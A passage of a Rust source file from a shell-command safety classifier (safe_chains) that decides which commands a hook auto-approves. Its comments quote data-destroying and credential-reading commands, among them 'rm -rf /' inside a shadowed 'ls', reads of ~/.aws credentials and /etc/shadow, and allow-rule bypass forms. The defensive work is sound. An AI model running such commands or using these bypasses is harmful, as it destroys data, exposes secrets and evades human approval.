Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7    /// Total (re-)classifications spent on one top-level `command_verdict`. Delegating handlers
8    /// (`fd -x`, `find -exec`, `xargs`, `sudo`) re-enter here on the wrapped command, and a command
9    /// that NESTS them — `fd a b -x fd c d -x …` — branches multiplicatively (one re-check per
10    /// pre-exec base × per nesting level), i.e. exponentially. This monotonic counter caps the total
11    /// so any such blow-up fails CLOSED (Denied) in bounded time instead of hanging the hook. A depth
12    /// cap alone can't help: 3^depth calls explode long before any depth limit bites.
13    static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14    static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17/// Far above any real command's handful of delegations (a `&&` chain of 50 `fd -x`s spends ~100),
18/// far below the exponential explosion. Found by the parse fuzzer (`fd -x fd -x …`). Kept modest so
19/// the worst-case CUTOFF is also cheap in wall-clock terms — each unit is a full re-classification
20/// (parse + dispatch), so a high ceiling would let a crafted command burn hundreds of ms in the hook
21/// (and blow the debug-mode timing of `classifier_terminates_on_adversarial_input`).
22const MAX_CLASSIFY_WORK: u32 = 512;
23
24/// RAII budget guard for the classifier recursion. `enter` resets the budget at the OUTERMOST call
25/// and charges one unit per (re-)entry; `None` means the budget is spent and the caller must fail
26/// closed. Depth is bumped only on a successful enter, so it stays balanced with the `Drop`.
27pub(super) struct ClassifyGuard;
28
29impl ClassifyGuard {
30    pub(super) fn enter() -> Option<Self> {
31        if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32            CLASSIFY_WORK.with(|w| w.set(0));
33        }
34        let spent = CLASSIFY_WORK.with(|w| {
35            let n = w.get().saturating_add(1);
36            w.set(n);
37            n
38        });
39        if spent > MAX_CLASSIFY_WORK {
40            return None;
41        }
42        CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43        Some(ClassifyGuard)
44    }
45}
46
47impl Drop for ClassifyGuard {
48    fn drop(&mut self) {
49        let depth = CLASSIFY_DEPTH.with(|d| {
50            let n = d.get().saturating_sub(1);
51            d.set(n);
52            n
53        });
54        // Clearing on the way OUT, not only on the way in, is what makes the budget per-call for
55        // callers that never take a guard. `explain()` and `suggest::analyze()` walk and brace-expand
56        // a command without entering here, so they used to start with whatever the previous
57        // classification had spent and trip `MAX_CLASSIFY_WORK` on work they had not done. That made
58        // the verdict ORDER-DEPENDENT: `perl {,} -{,}e{,}{,}{,}\~{,}{,}{,}{,}` was allowed by
59        // `is_safe_command` and reported not-allowed by a following `explain` — the hook auto-approving
60        // while telling the reader it had not. Found by the `explain_render` fuzz target.
61        if depth == 0 {
62            CLASSIFY_WORK.with(|w| w.set(0));
63        }
64    }
65}
66
67/// Charge `units` of extra work to the shared per-classification budget; `false` once it is spent
68/// and the caller must fail closed.
69///
70/// Brace expansion charges here so its fan-out draws from the SAME pool as delegation and function
71/// resolution. Otherwise the two caps MULTIPLY rather than add: a word may expand to
72/// `BRACE_EXPANSION_CAP` (256) alternatives and each delegated re-classification re-expands it, so
73/// 512 delegations × 256 words is ~131k word checks — seconds of wall clock from a ~200-byte input
74/// (found by the nightly fuzzer as a timeout). Neither cap is unreasonable alone; only their product
75/// is. Charging fan-out here makes the total additive and keeps the worst case bounded.
76pub(crate) fn charge_classify_work(units: u32) -> bool {
77    CLASSIFY_WORK.with(|w| {
78        let n = w.get().saturating_add(units);
79        w.set(n);
80        n <= MAX_CLASSIFY_WORK
81    })
82}
83
84pub fn command_verdict(input: &str) -> Verdict {
85    let Some(_guard) = ClassifyGuard::enter() else {
86        return Verdict::Denied; // classification budget spent — fail closed
87    };
88    let Some(script) = parse(input) else {
89        return Verdict::Denied;
90    };
91    script_verdict(&script)
92}
93
94pub fn is_safe_command(input: &str) -> bool {
95    command_verdict(input).is_allowed()
96}
97
98thread_local! {
99    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
100    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
101    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
102    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
103        const { std::cell::RefCell::new(Vec::new()) };
104    /// Function names whose CURRENT body we cannot attribute — redefined inside a compound, where
105    /// the shell keeps the new body but we cannot say which one ran. `lookup_function` reports them
106    /// as unknown, so a call falls through to ordinary dispatch and denies (fail-closed) rather
107    /// than resolving to a stale, more permissive definition.
108    static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
109        const { std::cell::RefCell::new(Vec::new()) };
110    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
111    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
112    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
113}
114
115const MAX_FUNC_DEPTH: usize = 32;
116
117/// The value a `$VAR`/`$1` binds to when the assigned/argument value is UNCERTAIN (a substitution,
118/// an unbound var, a reassignment to same). It looks like a path AND is unpinnable, so `$VAR/x`
119/// fail-closes in both gate layers rather than resolving to a stale or dropped value.
120const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
121
122struct FuncScope;
123impl Drop for FuncScope {
124    fn drop(&mut self) {
125        FUNCTIONS.with(|f| {
126            f.borrow_mut().pop();
127        });
128    }
129}
130
131fn define_function(name: String, body: Script) -> FuncScope {
132    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
133    FuncScope
134}
135
136fn lookup_function(name: &str) -> Option<Script> {
137    if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
138        return None; // body unknown — deny rather than use a stale one
139    }
140    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
141}
142
143/// Mark `name`'s body unknown for the rest of this evaluation. Not scoped by a guard: the shell's
144/// redefinition is not scoped either, and every classification starts with a fresh thread-local.
145fn poison_function(name: String) {
146    POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
147}
148
149struct ResolveScope;
150impl Drop for ResolveScope {
151    fn drop(&mut self) {
152        RESOLVING.with(|r| {
153            r.borrow_mut().pop();
154        });
155    }
156}
157
158/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
159/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
160/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
161/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
162/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
163fn begin_resolving(name: &str) -> Option<ResolveScope> {
164    let over_budget = CLASSIFY_WORK.with(|w| {
165        let n = w.get().saturating_add(1);
166        w.set(n);
167        n > MAX_CLASSIFY_WORK
168    });
169    if over_budget {
170        return None;
171    }
172    RESOLVING.with(|r| {
173        let mut stack = r.borrow_mut();
174        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
175            None
176        } else {
177            stack.push(name.to_string());
178            Some(ResolveScope)
179        }
180    })
181}
182
183fn script_verdict(script: &Script) -> Verdict {
184    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
185        .into_iter()
186        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
187}
188
189/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
190/// installed, and return the per-statement results.
191///
192/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
193/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
194/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
195///
196/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
197/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
198/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
199/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
200pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
201    let mut running = crate::pathctx::cwd();
202    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
203    let mut _funcs: Vec<FuncScope> = Vec::new();
204    let mut out = Vec::with_capacity(script.0.len());
205    for stmt in &script.0 {
206        out.push({
207            let _cwd = crate::pathctx::enter_cwd(running.clone());
208            per_stmt(stmt)
209        });
210        let effects = shell_effects(&stmt.pipeline);
211        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
212        if next.is_some() {
213            running = next;
214        } else if effects.cwd {
215            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
216            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
217            // relative paths against a directory the shell has left.
218            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
219        }
220        for (name, value) in statement_assignments(&stmt.pipeline) {
221            _vars.push(crate::pathctx::enter_var(name, value));
222        }
223        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
224        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
225        // value wins for that name; a statement handled precisely contributes nothing here.
226        for name in effects.vars {
227            _vars.push(crate::pathctx::enter_var(name, UNCERTAIN_VALUE.to_string()));
228        }
229        for name in effects.funcs {
230            poison_function(name);
231        }
232        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
233            _funcs.push(define_function(name.clone(), body.clone()));
234        }
235    }
236    out
237}
238
239/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
240/// bound reports a possible effect, which fails closed.
241const MAX_CD_SCAN_DEPTH: usize = 16;
242
243/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
244///
245/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
246/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
247/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
248/// precise handling matches only statement-level forms, so all of those escaped tracking:
249/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
250/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
251/// stale state is the permissive one.
252///
253/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
254/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
255#[derive(Default)]
256struct ShellEffects {
257    cwd: bool,
258    vars: Vec<String>,
259    funcs: Vec<String>,
260}
261
262/// The effects of one statement. Empty for a multi-stage pipeline, whose stages are subshells.
263fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
264    let mut out = ShellEffects::default();
265    if let [only] = pipeline.commands.as_slice() {
266        // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
267        // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
268        // classifier's own work budget exists for. Caught by the termination guard.
269        let mut seen = Vec::new();
270        scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
271    }
272    out
273}
274
275fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
276    let Some(depth) = depth.checked_sub(1) else {
277        out.cwd = true; // out of budget — assume the worst
278        return;
279    };
280    match cmd {
281        Cmd::Simple(s) => {
282            let Some(name) = s.words.first().map(Word::eval) else {
283                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
284            };
285            if name == "cd" {
286                out.cwd = true;
287                return;
288            }
289            // A CALL runs the body in THIS shell, so its effects escape with it.
290            if seen.contains(&name) {
291                return;
292            }
293            if let Some(body) = lookup_function(&name) {
294                seen.push(name);
295                scan_script_effects(&body, depth, seen, out);
296            }
297        }
298        // The two constructs the shell really does isolate, plus forms that run nothing.
299        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
300        Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
301            scan_script_effects(body, depth, seen, out);
302        }
303        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
304            scan_script_effects(cond, depth, seen, out);
305            scan_script_effects(body, depth, seen, out);
306        }
307        Cmd::If { branches, else_body, .. } => {
308            for b in branches {
309                scan_script_effects(&b.cond, depth, seen, out);
310                scan_script_effects(&b.body, depth, seen, out);
311            }
312            if let Some(e) = else_body {
313                scan_script_effects(e, depth, seen, out);
314            }
315        }
316        Cmd::Case { arms, .. } => {
317            for a in arms {
318                scan_script_effects(&a.body, depth, seen, out);
319            }
320        }
321    }
322}
323
324/// Every statement of a body that the shell would run in the current shell: its assignments and
325/// function definitions rebind here, and its commands are scanned in turn.
326fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
327    for st in &script.0 {
328        for (name, _) in statement_assignments(&st.pipeline) {
329            out.vars.push(name);
330        }
331        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
332            out.funcs.push(name.clone());
333        }
334        if let [only] = st.pipeline.commands.as_slice() {
335            scan_effects(only, depth, seen, out);
336        }
337    }
338}
339
340/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
341/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
342fn cd_target(pipeline: &Pipeline) -> Option<String> {
343    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
344        return None;
345    };
346    if s.words.first()?.eval() != "cd" {
347        return None;
348    }
349    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
350}
351
352/// The variables a `while`/`until` condition of the form `read VAR…` (incl. `IFS= read -r VAR`) binds
353/// from stdin — its non-flag positionals — so the body's `$VAR` can be gated at the pipe's item locus.
354/// Empty for any other condition. (An exotic valued read flag's value may be over-included as a var
355/// name; harmless — it just binds a never-referenced name to the same workspace locus.)
356fn read_loop_vars(cond: &Script) -> Vec<String> {
357    let [stmt] = cond.0.as_slice() else {
358        return Vec::new();
359    };
360    let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
361        return Vec::new();
362    };
363    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
364    if words.first().map(String::as_str) != Some("read") {
365        return Vec::new();
366    }
367    words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
368}
369
370/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
371/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
372/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
373/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
374fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
375    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
376        return Vec::new();
377    };
378    if !s.words.is_empty() {
379        return Vec::new();
380    }
381    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
382}
383
384/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
385/// `$refs` against the current scope first, then requires no residual `$` and no substitution
386/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
387fn certain_value(word: &Word) -> String {
388    let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
389    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
390    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
391    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
392    if raw.contains('$') || is_opaque_value(&raw) {
393        UNCERTAIN_VALUE.to_string()
394    } else {
395        raw
396    }
397}
398
399/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
400/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
401/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
402pub(crate) fn is_opaque_value(raw: &str) -> bool {
403    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
404        .iter()
405        .any(|m| raw.contains(m))
406}
407
408#[cfg(test)]
409pub(crate) fn is_safe_script(script: &Script) -> bool {
410    script_verdict(script).is_allowed()
411}
412
413pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
414    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
415    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
416    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
417    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
418    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
419    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
420    let mut stream: Option<String> = None;
421    for cmd in &pipeline.commands {
422        let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
423        acc = acc.combine(cmd_verdict(cmd));
424        stream = Some(stage_output_repr(cmd, stream.as_deref()));
425    }
426    acc
427}
428
429/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
430/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
431/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
432/// must deny in BOTH gate layers.
433const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
434
435/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
436/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
437/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
438/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
439fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
440    let Cmd::Simple(s) = cmd else {
441        return UNKNOWN_ITEM.to_string();
442    };
443    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
444    let Some(first) = words.first() else {
445        return UNKNOWN_ITEM.to_string();
446    };
447    let name = Token::from_raw(first.clone()).command_name().to_string();
448    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
449    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
450    match name.as_str() {
451        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
452        //
453        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on `source_ok`
454        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
455        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
456        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
457        // not be written, so a read-face test could never see it.
458        "find" | "fd" | "fdfind" => {
459            let roots = find_roots(&args);
460            let base = roots
461                .iter()
462                .max_by_key(|r| {
463                    let (read, write) = (
464                        crate::engine::resolve::locus::read_locus(r),
465                        crate::engine::resolve::locus::write_locus(r),
466                    );
467                    read.max(write)
468                })
469                .copied()
470                .unwrap_or(".");
471            format!("{}/sc_item", base.trim_end_matches('/'))
472        }
473        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
474        "ls" => {
475            if args.contains(&"-d") {
476                worst_arg_repr(&args)
477            } else {
478                "sc_item".to_string()
479            }
480        }
481        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
482        "echo" | "printf" => worst_arg_repr(&args),
483        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
484        "git" => match args.first() {
485            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
486            _ => UNKNOWN_ITEM.to_string(),
487        },
488        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
489        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
490        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
491        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
492        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
493        "head" | "tail"
494            if !reads_a_file_after_count(&args)
495                && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) =>
496        {
497            through()
498        }
499        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
500        "tee" => through(),
501        _ => UNKNOWN_ITEM.to_string(),
502    }
503}
504
505/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
506/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
507/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
508/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
509/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
510fn reads_a_file(args: &[&str]) -> bool {
511    args.iter().any(|a| {
512        (!a.starts_with('-') && *a != "-")
513            || *a == "--files0-from"
514            || a.starts_with("--files0-from=")
515    })
516}
517
518/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
519/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
520fn reads_a_file_after_count(args: &[&str]) -> bool {
521    let mut i = 0;
522    while i < args.len() {
523        let a = args[i];
524        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
525            i += 2; // flag + its value
526            continue;
527        }
528        if a.starts_with('-') || a == "-" {
529            i += 1;
530            continue;
531        }
532        return true; // a bare positional → a file operand
533    }
534    false
535}
536
537/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
538/// a granted dir), so paths derived from it are safe operands.
539fn source_ok(path: &str) -> bool {
540    crate::engine::resolve::read_content_verdict(path).is_allowed()
541}
542
543/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
544/// whose read is denied, else a worktree placeholder.
545fn worst_arg_repr(args: &[&str]) -> String {
546    args.iter()
547        .filter(|a| !a.starts_with('-'))
548        .find(|a| !source_ok(a))
549        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
550}
551
552/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
553/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
554fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
555    let mut i = 0;
556    while i < args.len() {
557        match args[i] {
558            "-H" | "-L" | "-P" => i += 1,
559            "-D" | "-O" => i += 2,
560            _ => break,
561        }
562    }
563    let mut roots = Vec::new();
564    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
565        roots.push(args[i]);
566        i += 1;
567    }
568    if roots.is_empty() {
569        roots.push(".");
570    }
571    roots
572}
573
574pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
575    pipeline_verdict(pipeline).is_allowed()
576}
577
578pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
579    match cmd {
580        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
581        _ => true,
582    }
583}
584
585fn has_any_substitution(cmd: &SimpleCmd) -> bool {
586    cmd.words.iter().any(has_substitution)
587        || cmd.env.iter().any(|(_, v)| has_substitution(v))
588}
589
590/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
591///
592/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
593/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
594/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
595/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
596/// matcher, and quietly redundant here.
597///
598/// The rule must describe the command as TYPED. That is not a judgement about which variable names
599/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
600/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
601/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
602///
603/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
604/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
605/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
606/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
607/// nothing".
608///
609/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
610/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
611/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
612/// the rest of a pattern lets a rule for one program match a different one —
613/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
614/// only honest answer; the alternative is a rule that silently covers a program it never named.
615///
616/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
617/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
618/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
619/// the program is the first word either way.
620pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
621    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
622    for (name, value) in &cmd.env {
623        let value = value.eval();
624        if value.chars().any(char::is_whitespace) {
625            return None;
626        }
627        parts.push(format!("{name}={value}"));
628    }
629    parts.extend(cmd.words.iter().map(|w| w.eval()));
630    Some(parts.join(" "))
631}
632
633pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
634    match cmd {
635        Cmd::Simple(s) => simple_verdict(s),
636        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
637            let body_v = script_verdict(body);
638            if let Verdict::Denied = body_v {
639                return Verdict::Denied;
640            }
641            let redir_v = redirect_verdict(redirs);
642            if let Verdict::Denied = redir_v {
643                return Verdict::Denied;
644            }
645            body_v.combine(redir_v)
646        }
647        Cmd::For { var, items, body, redirs } => {
648            let redir_v = redirect_verdict(redirs);
649            if let Verdict::Denied = redir_v {
650                return Verdict::Denied;
651            }
652            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
653            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
654            // fail-closing on the bare `$f`.
655            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
656            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
657                Some((read_repr, write_repr)) => {
658                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
659                    script_verdict(body)
660                }
661                None => script_verdict(body),
662            };
663            words_sub_verdict(items).combine(body_v).combine(redir_v)
664        }
665        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
666            let redir_v = redirect_verdict(redirs);
667            if let Verdict::Denied = redir_v {
668                return Verdict::Denied;
669            }
670            let cond_v = script_verdict(cond);
671            // `while read VAR; do … "$VAR" …` — bind each read var to the piped stdin's item locus,
672            // exactly as the `for`-loop binds its list var, so `find ./src | while read f; do cat "$f"`
673            // reads the worktree instead of fail-closing on the bare `$f`. Only when a modeled source
674            // set the stdin repr; otherwise the vars stay unbound (fail-closed).
675            let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
676                Some(repr) => read_loop_vars(cond)
677                    .into_iter()
678                    .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
679                    .collect(),
680                None => Vec::new(),
681            };
682            cond_v.combine(script_verdict(body)).combine(redir_v)
683        }
684        Cmd::If {
685            branches,
686            else_body,
687            redirs,
688        } => {
689            let redir_v = redirect_verdict(redirs);
690            if let Verdict::Denied = redir_v {
691                return Verdict::Denied;
692            }
693            let mut v = redir_v;
694            for b in branches {
695                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
696            }
697            if let Some(eb) = else_body {
698                v = v.combine(script_verdict(eb));
699            }
700            v
701        }
702        Cmd::DoubleBracket { words, redirs } => {
703            words_sub_verdict(words).combine(redirect_verdict(redirs))
704        }
705        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
706        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
707        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
708        Cmd::Case { subject, arms, redirs } => {
709            let redir_v = redirect_verdict(redirs);
710            if let Verdict::Denied = redir_v {
711                return Verdict::Denied;
712            }
713            let mut v = redir_v.combine(word_sub_verdict(subject));
714            for arm in arms {
715                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
716            }
717            v
718        }
719        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
720        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
721        // definition never denies on its body.
722        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
723    }
724}
725
726pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
727    cmd_verdict(cmd).is_allowed()
728}
729
730fn part_sub_verdict(part: &WordPart) -> Verdict {
731    match part {
732        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
733        WordPart::Backtick(raw) => command_verdict(raw),
734        WordPart::DQuote(inner) => word_sub_verdict(inner),
735        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
736        WordPart::Arith(inner) => word_sub_verdict(inner),
737        _ => Verdict::Allowed(SafetyLevel::Inert),
738    }
739}
740
741fn word_sub_verdict(word: &Word) -> Verdict {
742    word.0.iter()
743        .map(part_sub_verdict)
744        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
745}
746
747fn words_sub_verdict(words: &[Word]) -> Verdict {
748    words.iter()
